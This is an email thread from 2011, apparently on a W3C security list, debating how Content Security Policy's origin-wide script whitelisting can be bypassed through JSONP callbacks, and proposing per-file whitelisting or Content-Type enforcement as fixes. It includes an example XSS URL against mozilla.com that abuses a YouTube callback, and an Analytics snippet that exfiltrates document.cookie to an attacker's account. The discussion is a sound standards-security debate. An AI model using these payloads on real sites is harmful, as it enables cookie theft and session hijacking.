Re: CSP and jsonp callbacks

> Well, at least until Adsense adds support for CSP.  These things all
> become easier when the third-party cooperates.
While Adsense might do it, I can't speak for everyone. Specially if no
one uses CSP there's no reason to make changes (and if it doesn't fit
right into the existing use cases, no one will ever use it..).

> Correct.  CSP is not the solution to all the world's problems.
This is not a new problem that CSP tries to solve, is a problem that
CSP introduces by trusting a whole origin instead of individual
scripts.

> If you whitelist a third party, they
> can do things that screw you.
It's different to trust www.google.com/jsapi won't change to screw you
vs. trusting that "anything" in www.google.com won't screw you.

> There are always use cases for more features.  The question is where
> to draw the line so we can ship something.

It seems to me that this (small) change, for whitelisting files
instead of domains would make it easier to integrate with third party
scripts, instead of forcing everyone to implement script-nonces.

Or said in a different way, instead of making everyone in the world
adapt to CSP, find a solution (maybe not the one I suggested, but any)
that just works, or.. CSP will be only used by Paypal.. (instead of
GMail, Facebook, Yahoo, Wikipedia, BBS, etc..)

Greetz

-- Eduardo




On Mon, May 30, 2011 at 5:24 PM, Adam Barth <w3c@adambarth.com> wrote:
> On Mon, May 30, 2011 at 2:37 PM, sird@rckc.at <sird@rckc.at> wrote:
>> So you are saying a site using CSP should never include third party
>> scripts (eg. analytics, tynt, etc..).
>
> Including third-party content in your site is a risk.  I'm not saying
> you shouldn't ever do it.  I'm saying that it comes with risks.
>
>> Analytics for instance, creates the script dynamically, so you can't
>> just add a nonce to the script, you have to add it to the generated
>> script. Adsense is another thing, they might include scripts from even
>> more origins, and those are inserted by the remote script so it's
>> impossible to add nonces to them.
>
> Well, at least until Adsense adds support for CSP.  These things all
> become easier when the third-party cooperates.
>
>> So if you want to use adsense, you can't use CSP.
>
> I haven't tried, but my guess is that's true today.
>
>> Also, if you want to use the AJAX APIs, or the Maps API, or the
>> Libraries APIs (http://code.google.com/apis/libraries/).. all of them
>> are out of reach of sites wanting to use CSP.
>
> Correct.  CSP is not the solution to all the world's problems.
>
>> That last example is important given that the provided code is:
>> <script type="text/javascript"
>> src="https://www.google.com/jsapi?key=INSERT-YOUR-KEY"></script>
>>
>> And that will load scripts from even more places
>> (ajax.googleapis.com), which means that those scripts will simply
>> never have keys.
>>
>> script-nonce probably isn't the best way to solve this problem, but
>> being able to do:
>>
>> script-src: https://www.google.com/jsapi
>>
>> which doesn't mean that you trust
>>
>> https://www.google.com/reader/status?callback=pwn()
>
> I'm not sure I followed all of that.  CSP makes it more difficult to
> integrate with third parties.  If you whitelist a third party, they
> can do things that screw you.  If you're worried about that, you might
> want to consider whether the risk is worth the reward.
>
>> Or is there any reason to allow access to an Origin instead of
>> something more granular?
>
> There are always use cases for more features.  The question is where
> to draw the line so we can ship something.
>
> Adam
>
>
>> On Mon, May 30, 2011 at 4:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>>> Lots of third-party interactions are tricky with CSP.  For example,
>>> it's difficult to use CSP on sites that contain advertisements because
>>> those advertisements often end up including scripts from syndicates.
>>>
>>> I don't think being strict about Content-Type is going to solve the
>>> problem.  You still have the problem today that application/javascript
>>> caries no authority without CSP and does carry authority with CSP.  In
>>> the specific example, we're just getting lucky that YouTube is
>>> responding with application/json.  It would be entirely reasonable for
>>> them to respond with application/javascript, especially because JSONP
>>> isn't valid JSON.
>>>
>>> One alternative, of course, is to use script-nonce, which lets the
>>> site whitelist individual script loads instead of blanket-allowing
>>> everything from an origin.
>>>
>>> Adam
>>>
>>>
>>> On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote:
>>>> Right, that's the problem.
>>>>
>>>> And to keep the web working, with Analytics, Tynt, etc.. people will
>>>> trust their site to one script in youtube.com but not to all services
>>>> that live there.
>>>>
>>>> A possible way to mitigate this problem, is if CSP forces Content-Type
>>>> to be valid (it would be weird if youtube echoe's back JSON as
>>>> text/javascript), or if Mozilla can just whitelist a specific file,
>>>> instead of whitelisting the whole origin.
>>>>
>>>> My point being, that whitelisting the whole origin and giving no more
>>>> granularity is not good enough for the type of applications that are
>>>> being created. If CSP accepted files, or directories it would help to
>>>> mitigate this problem.
>>>>
>>>> eg.:
>>>>
>>>> script-src: http://www.youtube.com/apis/video.js
>>>>
>>>>
>>>> or
>>>>
>>>> script-src: http://www.youtube.com/apis/*.js
>>>>
>>>>
>>>> Or, otherwise, what's the alternative that we give to Mozilla? Don't
>>>> use Youtube? (specially, since this is not a security problem for
>>>> Youtube, maybe they wont fix it.. there's no reason for them to, and
>>>> the problem is in Mozilla).
>>>>
>>>> Greetings
>>>> -- Eduardo
>>>>
>>>>
>>>>
>>>>
>>>> On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>> Ah, I understand.  Sounds like YouTube isn't trustworthy.
>>>>>
>>>>> The more general problem is CSP imbues JavaScript responses with
>>>>> authority, which isn't how the rest of the web works.  That means when
>>>>> sites, like YouTube, have reflections in their JavaScript, folks that
>>>>> trust them get in trouble.
>>>>>
>>>>> Adam
>>>>>
>>>>>
>>>>> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote:
>>>>>> The XSS in mozilla is:
>>>>>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script>
>>>>>>
>>>>>> Youtube has a service that lets you export a video details with JSONp,
>>>>>> and accepts "callback". And callback is sanitized to only have
>>>>>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis.
>>>>>>
>>>>>> Greetings!!
>>>>>> -- Eduardo
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>>>> I'm sorry.  I'm not sure I follow.  How is the attacker able to run
>>>>>>> the script below?  I agree that once the attacker can run script in
>>>>>>> the honest site's security origin, the attacker has won.
>>>>>>>
>>>>>>> Adam
>>>>>>>
>>>>>>>
>>>>>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote:
>>>>>>>> It's an example :P
>>>>>>>>
>>>>>>>> but ok, let's say the attacker uses:
>>>>>>>>
>>>>>>>>  var _gaq = _gaq || [];
>>>>>>>>  _gaq.push(['_setAccount', 'UA-evil-1']);
>>>>>>>>  _gaq.push(['_trackPageview']);
>>>>>>>>  _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]);
>>>>>>>>
>>>>>>>> And uses google analytics to send data back to the attacker.
>>>>>>>>
>>>>>>>> Or let's say the attacker iframes youtube.com and loads a payload
>>>>>>>> inside a gadget in youtube.
>>>>>>>>
>>>>>>>> Or let's say the attacker does the attack directly with XHR.
>>>>>>>>
>>>>>>>>
>>>>>>>> -- Eduardo
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote:
>>>>>>>>>> Hi List.
>>>>>>>>>>
>>>>>>>>>> I think this issue has came up before (can't find the thread but I've
>>>>>>>>>> seen it) and Masato (cc'd) brought this up to us recently.
>>>>>>>>>>
>>>>>>>>>> What can a CSP user do in the following case:
>>>>>>>>>>
>>>>>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they
>>>>>>>>>> use one of their scripts.
>>>>>>>>>> 2. Attacker is able to do
>>>>>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name)
>>>>>>>>>
>>>>>>>>> Won't that be blocked because eval is blocked?
>>>>>>>>>
>>>>>>>>> Adam
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>> 3. Then Mozilla isn't capable of protecting using CSP.
>>>>>>>>>>
>>>>>>>>>> In general, Mozilla can't realistically know all the things we put in
>>>>>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason
>>>>>>>>>> for them to fix it. And Mozilla might not be able to mirror the script
>>>>>>>>>> to their own servers because it might change at any moment, and their
>>>>>>>>>> site might break.
>>>>>>>>>>
>>>>>>>>>> Could it be possible to whitelist specific files, instead of complete
>>>>>>>>>> origins? Maybe even global expressions (e.g.
>>>>>>>>>> www.youtube.com/scripts/*.js)?
>>>>>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all?
>>>>>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP
>>>>>>>>>> document to have the right Content-Type.
>>>>>>>>>>
>>>>>>>>>> How does this apply for the use case of stats services, captcha, ads,
>>>>>>>>>> etc.. which all require external scripts?
>>>>>>>>>>
>>>>>>>>>> I think forcing the right Content-Type for scripts might be the best
>>>>>>>>>> solution, and maybe a rule to override this behavior, comments?
>>>>>>>>>>
>>>>>>>>>> Thanks!!
>>>>>>>>>>
>>>>>>>>>> -- Eduardo
>>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>
>>>>>>>>
>>>>>>>
>>>>>>
>>>>>
>>>>
>>>
>>
>

Received on Monday, 30 May 2011 22:48:12 UTC